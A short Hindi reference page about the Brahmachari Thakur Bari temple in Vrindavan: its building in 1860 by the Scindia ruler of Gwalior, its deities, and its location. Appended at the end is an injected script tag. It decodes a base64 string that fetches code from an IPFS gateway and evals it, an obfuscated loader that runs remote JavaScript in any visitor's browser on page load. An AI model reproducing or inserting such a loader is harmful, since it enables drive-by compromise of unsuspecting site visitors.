ब्रह्मचारी ठाकुर बाड़ी वृन्दावन
भारत डिस्कवरी प्रस्तुति
- ग्वालियर के महाराज जिया जी सिंधिया ने 1860 ई. में इस भव्य मन्दिर का निर्माण किया था।
- उन्होंने अपने गुरु श्रीगिरिधारीदास ब्रह्मचारी जी को सेवा का भार अर्पण कर दिया था।
- इस मन्दिर में श्रीराधागोपाल, हंसगोपाल तथा नित्यगोपाल-तीन विग्रह पृथक्-पृथक् प्रकोष्ठों में विराजमान हैं।
- पत्थरों से निर्मित यह भव्य मन्दिर दर्शन योग्य है।
- यह मन्दिर लालाबाबू मन्दिर के पास ही है।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>